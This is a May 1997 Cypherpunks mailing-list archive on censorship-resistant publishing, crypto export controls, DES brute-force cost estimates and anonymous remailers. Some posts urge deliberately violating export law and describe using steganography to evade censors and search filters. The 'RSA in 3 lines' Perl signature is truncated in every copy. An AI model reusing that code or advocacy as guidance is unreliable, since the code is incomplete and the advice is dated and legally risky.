> So you're saying that fewer people would die in Rwanda if we discussed
> something else?  What exactly is it that you think the members of the
> Cypherpunks list should do about it (assuming for the sake of argument
> that "we" wanted to do anything)?

I just don't think it's appropriate to center a long flame about.  Does 
it not cause you, too, anguish to see such a situation fought over like a 
dog bone?




- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 
5B")
(require 'stddisclaim)


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From aba at dcs.ex.ac.uk  Thu May 15 11:26:20 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 16 May 1997 02:26:20 +0800
Subject: Eternity server considerations and musings
In-Reply-To: 
Message-ID: <199705151813.TAA01081@server.test.net>



Paul Bradley  writes:
> The main method used by governments around the world so far to
> attempt to censor information has been the use, or proposal of,
> proxy servers for whole countries or jurisdictions.  This method has
> only thus far been used to censor www connections, and has been used
> to censor specific sites, hence the use of mirroring to circumvent
> government censorship.

One of the main considerations in the design of my eternity server was
the idea that there was information which might get published via
remailers, but would be unlikely to get published on a web page
directly.  Eternity translates the ability of publishing via a
remailer into the ability to publish on the web.

An example is perhaps the NSA handbook, or Mykotronix dumpster diving
results.  These sorts of things tend to arrive via remailer, and then
get mirrored afterwards.

There will also be some class of documents which are too hot to mirror
at all, or where the censor is litigious enough (Scientologists?) to
present a real danger to it's ciritics, and to mirrorers of the
criticisms.

A question then is could a censor systematically block all eternity
search engines effectively.  I think this would be relatively easy,
the design does not really attempt to deal with site blocking
directly.

The URL always includes "eternity" so is easy to block.  You could
perhaps provide an option for a public key encrypted URL.  Or lookup
by the SHA1 of the URL directly.  An SSL session would also help, the
cgi-binary accepts both post and get methods.  However ultimately, the
eternity servers will be advertised, and so the censors just need to
keep track and block all the advertised servers.

However there is another option: all the data is available in USENET
anyway, so anyone can run an eternity search engine for their own use
in a shell account.  To block this is more difficult.

> [blocking USENET, key word searches, recognizing encrypted data]

Use stego solves this (as Bill Frantz observed).  Do a web search on
`texto', it's a nice simple text stego program.

Another interesting fact is that they can't block the traffic unless
they have decrypted it.  As the data can be encrypted with the SHA1 of
the URL, they won't necessarily recognize it as an eternity web page
until it gets accessed or the URL advertised, by which time it is too
late.  The URL can be smuggled in and passed around more readily.

> [a censor can provide a censored USENET feed for their country, they
> can't provide a censored WEB feed because it's too large]

WEB mirroring is useful where the data being mirrored is illegal in
someone else's country and you are trying to stay one step ahead of
the censor.

Eternity means you can publish material which is illegal or
dangerous/unpopular to publish in your own country.  

> [...] it would be nice to see a more robust system which thwarted
> all attempts to censor without the need for human intervention by
> mirroring sites etc.

Sounds like something that could be addressed by building on the
rotating mirror idea William Geiger has been talking about.  Perhaps
you could have an apache module which provided a proxy service which
allows encrypted and steganographically encoded URL passed to it, and
encrypted, stego web pages passed back.  Combine with some unstego
method on the receiving end, and lots of people using apache with this
option turned on, and the censor would have one heck of a problem on
their hands.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705151717.SAA01042@server.test.net>



Lucky Green  writes:
> No offense, but Adam's "Eternity" system doesn't come close to Ross
> Anderson's original design. It is a fun weekend hack, but calling it the
> Eternity Service is a very unfortunate choice of words. It isn't any more
> Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

I wholeheartedly agree that it's current form is no where close to
Ross A's Eternity Service.  My hope was that by giving something
concrete to criticize we might see some progress in the direction of
Ross's ideal.  Perhaps eternity-lite would be a better name (I nearly
released it with this name).

I was hoping for some specific criticisms, analyses, suggestions etc.
Having a functioning example would probably help, I hope to get one up
soonish, time permitting.  Some of the aspects of Ross's system are
quite hard to acheive, while what I have is pretty easy to acheive (as
demonstrated by the few hours it took me to get it where it is).

Type I remailers came before mixmaster.  Bass-o-matic came before
replacement with IDEA, etc.  We still don't have a DC net, nor a
pipenet.


One consideration of the design, is a social aspect, the servers
design is partly attempting to bootstrap acceptability from something
which has come to be viewed as a fact of life: the inherently noisy
and uncontrollable nature of alt USENET newsgroups.  By designing
something which is in essence a search engine, I speculate that the
individual server operators would be less liable than if they part of
the distributed database as is the case with Ross's Eternity Service.
There are specific exemptions for caches in some legislation (I
think), and anyway you can turn cacheing off.  Search engines have
similarly to my knowledge been left out of the censorship argument.
The interesting aspect is how censors would react when they bumped
into documents hosted by this system.  By basing it on USENET, the
hope is to direct censorship attempts at USENET itself, which has
proven very resilient to attack.  (Cancel messages I'll discuss in my
response to Paul Bradley, who raised this question).

One aspect of my system which has not been implemented yet is fetching
articles from news archival and search services such as dejanews and
altavista.  This would be useful to reduce the bandwidth overhead of
having to re-post pages just to keep up with

I tried a few experiments to see if this was feasible, and discovered
a few things which will affect the design.  The design requires lookup
by SHA1 hash of virtual URL.  

Firstly neither search engine will search for hex numbers over a
certain length.  The search engines have some indexing mechanism, I
presume they have a rejection criteria to remove mime strings etc
clogging up the word index, it specifically rejects long hex strings,
I'm not sure what the cut-off is.  Both seem to search for decimal
numbers of somewhat longer length.  Neither will search decimal
numbers of sufficient length to represent a SHA1 hash directly.  The
solution to this seems to be to encode as space separated groups of
sufficiently short numbers and use a search AND to find them.

Secondly (!) one of them explicitly states that they do not archive
uuencoded data.  However it does archive PGP mime'd data (currently),
perhaps to allow for PGP signatures, or perhaps uuencode alone was
targetted as the most common by volume.

The PGP data archiving would likely change if the eternity posts
volume got significant enough to draw the attention of the news
archives.

If/when this came about, something like texto (primitive textual stego
program available on the net somewhere) would probably be sufficient
to fool the search engine.  (Bill Frantz suggested stego for this
purpose in a recent purpose).

Paul Bradley provided some critisisms, and someone else in email,
which I'll respond to next.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705151748.NAA26112@bksmp2.FRB.GOV>



> > We can tally up the deaths in Rawanda to those created by government.
>
> Oh, this is just charming.  People are still dying, and now you're going
> to sit on the sidelines making tally marks for your pissing contest.

I didn't start this discussion.  But the question remains... are we better
with or without governments.  If you argue that we need gov't for safety,
it seems valid to ask under which system will have less killing.  It seems
to me that situations like Rawanda are just more examples of how gov'ts can
kill more people and more efficiently than any single mass murderer.

And speaking of the sidelines, what, exactly, are YOU doing about it?

> You can't count up human lives and say ``this entity is more evil than
> this entity.''  It doesn't work that way.  People are people, regardless,
> and usually don't deserve that kind of premature termination.

Why on Earth can't you can't up the lives?  It's pretty easy.  Hitler was
worse than Manson because he killed millions while Manson was only able to
kill, what, less than a dozen?  None of their victims deserved to die.  But
if Hitler hadn't been able to take control of the German gov't, fewer people
would have been killed (unless some other crazy got the gov't).

> As for the running dictionary flame, by all means, piss on.  Perhaps
                                                     ^^^^^^^
> later, when you mature a little, discussion can get back to more
                  ^^^^^^
> meaningful topics.

A classic case of pot & kettle syndrome.

It is, however, difficult to argue that "anarchy" is better than gov't when
someone's definition of "anarchy" is not "no government".

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From lucifer at dhp.com  Thu May 15 12:06:26 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 03:06:26 +0800
Subject: [CRYPTO] Blowfish
Message-ID: <199705151850.OAA02276@dhp.com>


Here, Tim C. May descends into total inanity. He should have a cold 
shower and/or a Turkish coffee.

          ___\
         
        _/_\____<_\_






From txporter at mindspring.com  Thu May 15 12:23:27 1997
From: txporter at mindspring.com (Thomas Porter)
Date: Fri, 16 May 1997 03:23:27 +0800
Subject: NSA _likes_ strong crypto?
In-Reply-To: 
Message-ID: <3.0.1.16.19970515150735.5f97d298@pop.mindspring.com>


At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:

>
>During a hall discussion at CFP, I heard that people at NSA are changing
>their opinions about the use of strong crypto in the general community.
>The reason is the threat of InfoWar and the need for strong crypto in
>general use to secure the US information infrastructure.


I realize I may catch it for my numerical ignorance here, but a more
paranoid type might think that any acquiescence on the part of NSA might be
due to more relative ease of breaking important traffic than they might
have possessed in the past.

Does any one on the list have any ideas on what the Intel mega-pentium
parallel  processor (touted for nuclear explosion and weather simulations a
few months back, and noticeably missing any mention of NSA application)
does to the time estimates for cracking "strong" crypto keys?  I am being
purposefully vague in my definitions of strong crypto, but I would present
as my test cases PGP ascii-armor traffic of 2048 key length or plain files
encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
fodder.

How does this strength of encryption compare to whatever might be used to
"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
cracking time?  Clearly less, but how much less on this type of specialized
parallel processor?  To put it another way, any swags on how long it would
take this pentium parallel processor to crack the current DES56 challenge?

Inquiring (and ignorant) minds want to know,

Tom Porter                                       txporter at mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From mpd at netcom.com  Thu May 15 12:29:37 1997
From: mpd at netcom.com (Mike Duvos)
Date: Fri, 16 May 1997 03:29:37 +0800
Subject: Public Key Break Paper
In-Reply-To: <199705141841.LAA09403@fat.doobie.com>
Message-ID: <199705151919.MAA06224@netcom23.netcom.com>


Truthmonger writes:

>   Anything Phill casts aspersions on has to be worth checking out:
>   http://jya.com/snlhit.htm


Just did.  It's crap. 

This alleged algorithm actually got pretty thoroughly trashed in sci.crypt
when it first came to light a few years back. 

It's a lot worse for large moduli than almost anything else out there, and
the author clearly has little understanding of the problem he is
attacking. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $







From tcmay at got.net  Thu May 15 12:58:52 1997
From: tcmay at got.net (Tim May)
Date: Fri, 16 May 1997 03:58:52 +0800
Subject: NSA _likes_ strong crypto?
In-Reply-To: 
Message-ID: 


At 11:07 AM -0800 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>
>I realize I may catch it for my numerical ignorance here, but a more
>paranoid type might think that any acquiescence on the part of NSA might be
>due to more relative ease of breaking important traffic than they might
>have possessed in the past.

I was at the same CFP aisle discussion Bill Frantz is referring to, or at
least heard the same thing in a similar discussion. Clint Brooks of the NSA
(or one of its cutouts), Stuart Baker, Jim Bidzos, and seveeral of us were
talking about the overall crypto situation. Attacks on U.S. interests had
just been covered by a couple of panels, so "infowar" was in the air.
Brooks admitted that NSA was rethinking its opposition to strong crypto, as
they realized (duh) that weak crypto, e.g., <50 bits today, <60 bits in a
few years, etc., could allow attacks on financial and other institutions.

Left as an exercise is whether subsequent policy actions by NSA and D.C. in
general are consistent with this "Crypto Perestroika" (tm).


>Does any one on the list have any ideas on what the Intel mega-pentium
>parallel  processor (touted for nuclear explosion and weather simulations a
>few months back, and noticeably missing any mention of NSA application)
>does to the time estimates for cracking "strong" crypto keys?  I am being
>purposefully vague in my definitions of strong crypto, but I would present
>as my test cases PGP ascii-armor traffic of 2048 key length or plain files
>encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
>fodder.

Please see the usual discussion in Schneier of work factos for breaking
various key length systems. See also the study by the "Distinguished
Cryptographers Panel" (don't have an URL handy, but a search on Schneier,
Blaze, Rivest should turn it up).

Bottom line: work factor grows exponentially in key length. Processor power
has been growing much more slowly, and even a 1000-processor parallel
computer is good for only about 10 bits. Ditto for the processors
themselves, with Intel's latest Pentium II good for "only" a few bits over
the Pentium, which itself was good for only a few bits over the 486, and so
on.

Left as another exercise: How many bits are needed in a key before
exhaustive search (the attack being assumed...if a "clever" attack exists,
then of course it could almost cerainly be done on an abacus) of the
keyspace needs all the processors in the world running for a thousand
years? How many bits before converting the Earth into nanocomputers is not
enough to search the keyspace in the age of the Earth? And so on. The
answers may surprise you.

And using longer keys is "easy" to do. Breaking longer keys is "hard."
Strong crypto wins out very quickly.

This is why there is no "middle ground" on crypto...it's either strong or
its weak, with nothing in between.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From toto at sk.sympatico.ca  Fri May 16 04:10:33 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 16 May 1997 04:10:33 -0700 (PDT)
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Message-ID: <337C3D50.1B50@sk.sympatico.ca>

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/


To: president at whitehouse.gov, toto at sk.sympatico.ca
Subject: ITAR / S 1726 / Civil Disobedience
From: "C.J. Parker" 
Date: Fri May 16  5:42:13 1997


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto at sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 






From stutz at dsl.org  Thu May 15 13:25:40 1997
From: stutz at dsl.org (Michael Stutz)
Date: Fri, 16 May 1997 04:25:40 +0800
Subject: eternity-lite (was Re: The War is Underway (fwd))
In-Reply-To: <199705151717.SAA01042@server.test.net>
Message-ID: 


On Thu, 15 May 1997, Adam Back wrote:

> If/when this came about, something like texto (primitive textual stego
> program available on the net somewhere) would probably be sufficient
> to fool the search engine.

http://www.ip-service.com/cgi-bin/stego.pl






From jehorton at erols.com  Thu May 15 14:06:37 1997
From: jehorton at erols.com (John Horton)
Date: Fri, 16 May 1997 05:06:37 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151748.NAA26112@bksmp2.FRB.GOV>
Message-ID: <337B749C.3B23@erols.com>


Tom Allard wrote:

> I didn't start this discussion.  But the question remains... are we better
> with or without governments.  

IMHO about the only reason we need govts is to act as an arbitrator, or
as a TTP.  


> rgds-- TA  (tallard at frb.gov)
> I don't speak for the Federal Reserve Board, it doesn't speak for me.
> pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D

Regards,
JEH






From jmr at shopmiami.com  Thu May 15 14:37:13 1997
From: jmr at shopmiami.com (Jim Ray)
Date: Fri, 16 May 1997 05:37:13 +0800
Subject: Wine Politics Again!
Message-ID: <3.0.16.19970515171709.66ef8dba@pop.gate.net>


-----BEGIN PGP SIGNED MESSAGE-----

At 06:53 PM 5/13/97 -0700, Bill Stewart wrote:

>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>>I am shipping a few bottles of California's finest merlot (much nicer than
>>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>You're a bit late - merlots have been getting more trendy :-)
>But Chiles hasn't signed the Florida law quite yet, so you're also early.

And he may not. Taxin' Lawton is, if nothing else, a wind-direction
indicator, and this law isn't too popular among the rabble.

>Do they even _grow_ wine in Florida?  

Barely, and it's not as good as Tim's merlot. The orange wine for
tourists is truly horrible.

>You'd think it would be the 
>cocaine industry trying to get their product regulated to keep prices high.

[Comment about credulous media reprints of San Jose Merc/CIA denials
of contra cokesmuggling reluctantly suppressed. Tongue bleeding.]

>>There's something wrong when I'm a felon under an increasing number of laws.
>
>It's especially ridiculous that shipping wine should be a *felony*.
>Mike Froomkin points out that the Constitutional Amendment ending
>Prohibition lets states make their own stupid decisions like this,
>and it probably overrides Commerce Clause controls.

Yeah, and for stupidity, Tallahassee is hard to beat.

>You'd expect that a law that's made primarily to protect business
>interests would have business-oriented penalties - like fines for
>conducting wine-shipping without a wine-shipping license,
>or triple fines for not filling out paperwork in triplicate.

I've met some of these guys -- hell I've run against one of them.
We aren't talking Einstein-level here, or even Forest Gump.

>Does anyone know if either state's laws also penalize the 
>recipient of the Demon Grape, or only the sender?  
...

I don't know, but I'm willing to risk getting some Merlot and
finding out as a public service to the cypherpunks list. Y'all
could even try to mail me a bottle anonymously. ;-)
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBM3t9LzUhsGSn1j2pAQHavAfONFdPqiU76q17liQMYGA+AwEcwnZaipBu
AvRqxq7FpeLLM1lR2POCJRBo2rRIXjajwmKacaBG7x08dqsMHug1hul4v2Kge7QV
MtSzwTOokPqwP73O2SU2udB+6d3b5S9rgVjbIDps60iKxVSyEfzVM6B33t6gFBNB
CXYNQoIEx4bOI2puNM6aFX+zsUvDjoSZ5EbWbjRE6tabMKIMPZgVH+QQ4i+En+8I
ug9OaUeFiptHWUzqciqDm70fhhJxsGqH83aj1EDAFj1WCgdo9mBKJjDo2F8fsLCr
Mrs+TWYd+lq+T//lpVvc65ENTwMh1pjDCyRoXJIUsTW+Qw==
=lheO
-----END PGP SIGNATURE-----

Regards, Jim Ray 
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71







From rah at shipwright.com  Thu May 15 14:38:41 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 16 May 1997 05:38:41 +0800
Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY
Message-ID: 



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Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY
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-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From daw at cs.berkeley.edu  Thu May 15 14:42:22 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Fri, 16 May 1997 05:42:22 +0800
Subject: Reporting threshold for NY money transfers lowered
Message-ID: <5lfvc8$2m0@joseph.cs.berkeley.edu>


I thought this might be of interest to cypherpunks:

The threshold for reporting New York money transfers was apparently
quietly lowered to $750 last month.  Looks like all it took was one
order signed by one Treasury official -- eek.  Can they lower the
$10k cash threshold just as easily?

*  NYT Sunday April 13, 1997
*  
*  U.S. Seizes $5.6 Million Hidden in a Truck on Way to Mexico
*  By Sam Dillon
*  
*  Mexico City, April 12 - United States officials said today that
*  $5.6 million discovered this week in a truck about to cross into
*  Mexico from El Paso was the largest cash seizure in memory along
*  the southwest border.
*  [snip]
*  
*  ...probably the proceeds of street drug sales...
*  [snip]
*  
*  Officials have seen a big increase in cash seizures lately...
*  [snip]
*  
*  In [another] case the authorities believe the traffickers
*  chose to move the cash south out of New York in bulk by
*  car because of an order signed by Mr. Kelly [Treasury
*  Under Secretary Raymond W. Kelly] which required New York
*  businesses transmitting cash to report all transactions
*  over $750.
*  
*  Although the order was not announced, word spread quickly
*  among traffickers, and a dramatic drop in money wires to
*  Colombia followed, along with a sharp increase in seizures
*  of cash along the eastern seaboard.

Thanks to  for forwarding.






From trei at process.com  Thu May 15 15:10:37 1997
From: trei at process.com (Peter Trei)
Date: Fri, 16 May 1997 06:10:37 +0800
Subject: NSA _likes_ strong crypto?
Message-ID: <199705152153.OAA02386@rigel.cyberpass.net>


> Date:          Thu, 15 May 1997 15:07:35 -0400
> To:            cypherpunks at cyberpass.net
> From:          Thomas Porter 
> Subject:       Re: NSA _likes_ strong crypto?
> Reply-to:      Thomas Porter 

> At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
> 
> >
> >During a hall discussion at CFP, I heard that people at NSA are changing
> >their opinions about the use of strong crypto in the general community.
> >The reason is the threat of InfoWar and the need for strong crypto in
> >general use to secure the US information infrastructure.
> 
> 
> I realize I may catch it for my numerical ignorance here, but a more
> paranoid type might think that any acquiescence on the part of NSA might be
> due to more relative ease of breaking important traffic than they might
> have possessed in the past.
> 
> Does any one on the list have any ideas on what the Intel mega-pentium
> parallel  processor (touted for nuclear explosion and weather simulations a
> few months back, and noticeably missing any mention of NSA application)
> does to the time estimates for cracking "strong" crypto keys?  I am being
> purposefully vague in my definitions of strong crypto, but I would present
> as my test cases PGP ascii-armor traffic of 2048 key length or plain files
> encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
> fodder.
> 
> How does this strength of encryption compare to whatever might be used to
> "secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
> cracking time?  Clearly less, but how much less on this type of specialized
> parallel processor?  To put it another way, any swags on how long it would
> take this pentium parallel processor to crack the current DES56 challenge?
> 
> Inquiring (and ignorant) minds want to know,
> 
> Tom Porter                                       txporter at mindspring.com

1. You must assume that any well-heeled opponent will have built a 
Wiener engine, so the time to brute a DES key can be measured in 
hours, rather than days. A ciphertext-only attack is only a little
harder than a known-plaintext attack.

But that doesn't stop us from doing the calculation anyway.

The fastest DES cracker I'm aware of (Bryddes) currently claims 
615,000 keys/sec on a Pentium 120.

The sandia machine is acheiving 1.06 Tflops with 7264 processors.
The processors are 200 MHz Pentium Pros. (The Mflop rate is lower 
than the MHz rate). They plan to have 9200 of them when it's 
finished.

615k * 200/120 = 1.025Mkps
(it'll actually be a bit higher on a Pro)

1.025M * 9200 = 9.430Gkps

(2^56 = 7.2E16)/9.43E9 = 7.6 Msec

= 88.44 days

Thats a conservative, upper limit, not a SWAG.

Speeds would be much higher on a 64 bit machine. I'm very curious to
see how bitslice DES would run on an MMX Pentium, which has some
64 bit registers.

40 bit encryption is a bad joke = it would take about 2 min on this 
machine for 40 bit DES

Peter Trei
trei at Process.com




 

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei at process.com






From aba at dcs.ex.ac.uk  Thu May 15 15:11:49 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 16 May 1997 06:11:49 +0800
Subject: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <199705152201.XAA02581@server.test.net>



Dr Roberts writes:
> Perhaps there is a way to turn the training on the trainers?  Civil
> disobediance is the best way to do this.  Were a relatively small
> number of people, a thousand for instance, to post the "RSA in 3
> lines" code to the world, it would be highly unlikely that anybody at
> all would be prosecuted, 

Many 1000s of people have exported it.  See also Vince Cate's arms
trafficker page.

	http://online.offshore.com.ai/arms-trafficker/

Around 3000 T-shirts were sold also.  Guess there are a fair number of
people practicing civil disobedience in the US as a result.  They're
still selling, see:

	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html

for order info.

While it's probably technically illegal to export, it clearly doesn't
get you in trouble to export it.  Raph Levien sent off a Commodity
Jurisdiction Request together with a sample T-shirt to ask permission
to export the T-shirt under the ITAR regulations.  They did not answer
his request.  I presume that they viewed either a "yes" or a "no" as a
loose for them.  If they say no, they open themselves for mockery in
the press, if they say yes, we progress the situation.  Export on
paper?  Floppy?  Internet?  Bigger programs.

I'd guess the request is now outdated by the token change in export
regulations (in reality mostly a name change) to EAR regulations which
transferred jurisdiction to the commerce department.  It might be
interesting to ask them for permission to export it.  If anyone wants
to do this, I'll supply a sample T-shirt :-)

Looks like the laws may make another token name change again, but
remain the same again, with a SAFE, doubtless with key-escrow bolted
on during the compromise with NSA and LE interests stage of
negotiations.

> particularly if a sizeable number of these people were professors,
> graduate students, professionals at well known companies,
> journalists, politicians?, or otherwise prominent people.  The whole
> situation would be so absurd they would never dare take it to court.

I'd always hoped that someone could make a good PR job of ridiculing
the export regulations with this.  So far it never really got much
further than the NSA/ODTC ignoring the CJR request of Raphs.  Also,
Duncan Frissell caused a bit of a stir at CFP a few years back with
the program on labels which he handed to attenders.  Vince Cate had a
bit of success also.  The shirts have been on French TV, which is
significant also due to French crypto regulations which are worse than
the US regulations.

> The longer somebody waits, the less opportunity they have to tell
> their grandkids "I was the 500th person to publically export RSA
> back in the late 20th century.  The government was actually trying
> to make math illegal!"  Best of all, anybody "fortunate" enough to
> be a U.S. citizen can participate, even if they don't write code
> themselves.

A while back I did a cgi binary which exported the PGP.EXE out of
pgp262i in uuencoded parts, 3 lines at a time.  Came out at 713 parts.
Maybe that would be more symbolic.  People weren't so keen to export
that as they were to export the perl rsa sig.

When I announced the url, people posted "I got no 7, who got the 1st
part?" etc.  See:

	http://www.dcs.ex.ac.uk/~aba/export/

Of course this wasn't my idea, it had been discussed on the list
several times before, I just took advantage of my position outside the
crypto curtain to actually do it.

It's a bit out of date - it's talking about ITAR, that should be EAR
now.

> Having established beyond any doubt that the export of RSA was
> possible without repercussions, the lesson will be driven home by
> group releases of successively longer mathematical works expressed in
> source code.  

I think this has been established.  Vince Cate's exporters page sends
president at whitehouse.gov a protest letter together with the rsa sig.
There is a log of exporters.  Lots of names on it.

> The first release will be the most challenging.  In no time at all
> everybody - including everybody in the government - will find
> themselves accustomed to the idea that laws against mathematics are
> absurd.  (Even Senators will be able to grasp this unchallenging
> concept.)

I think Vince says on his pages that he got a mention on CNN of his
arms trafficker page.  I'd encourage anyone to use the sig, or
t-shirts, mailing labels or the guy with the tattoo of the .sig to
cause all the embarrasment they can for the US government.

> The way to get started is for people to pledge to post "RSA in 3
> lines" if certain conditions are met.  For instance, "I will post 'RSA
> in 3 lines' if 500 people promise to do it as well, among them being
> Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
> taken without allies!

Well, it does seem to me at times that people in the US are being too
timid about the whole situation.  I mean if everyone just openly
ignored the stupid laws, you might think they would go away by
default, just to catch up with reality.  

Much hand-wringing is spent putting no-export warnings on code,
obfuscating the download process to discourage non-US people, and
warning others not to export.

Clearly for the individual there are few ill-effects from exporting
the 3 lines of perl.  (Actually 2 lines now see below).  Probably
nothing much would happen if you personally just uuencoded PGP and
spammed USENET with it.  I mean it would make not one iota of
difference as it's already universally available on ftp sites and web
pages.

Phil Zimmermann and Kelly Goen were hassled over their export, but
it's too late to worry about PGP now.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0












From internet at netline.com  Fri May 16 08:00:39 1997
From: internet at netline.com (internet at netline.com)
Date: Fri, 16 May 1997 08:00:39 -0700 (PDT)
Subject: Express Letter
Message-ID: <199703170025.GAA080@interlink.net>


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From 3umoelle at informatik.uni-hamburg.de  Thu May 15 17:39:26 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 08:39:26 +0800
Subject: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: 


"Roger J. Jones"  writes:

> So, chaining does not seem to be a secure solution.  It just makes
> the process more difficult, but not impossible.

> The non-existance of "agents" who would operate a remailer for
> purposes other than protecting security can not be proven.

Run your own remailer. Tell your friends to run their own remailers.
Use one or more of those somewhere in the chain, then you *know* your
messages are secure. The software can be found at
ftp://ftp.replay.com/pub/replay/pub/remailer

> I still seem to be missing something.........  

You may want to read the paper "Untraceable Electronic Mail, Return
Addresses, and Digital Pseudonyms" by David Chaum (CACM, 2/1981).
It is available at http://world.std.com/~franl/crypto/chaum-acm-1981.html






From azur at netcom.com  Thu May 15 17:43:47 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 16 May 1997 08:43:47 +0800
Subject: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: 


At 2:31 PM -0700 5/15/97, David Wagner wrote:
>I thought this might be of interest to cypherpunks:
>
>The threshold for reporting New York money transfers was apparently
>quietly lowered to $750 last month.  Looks like all it took was one
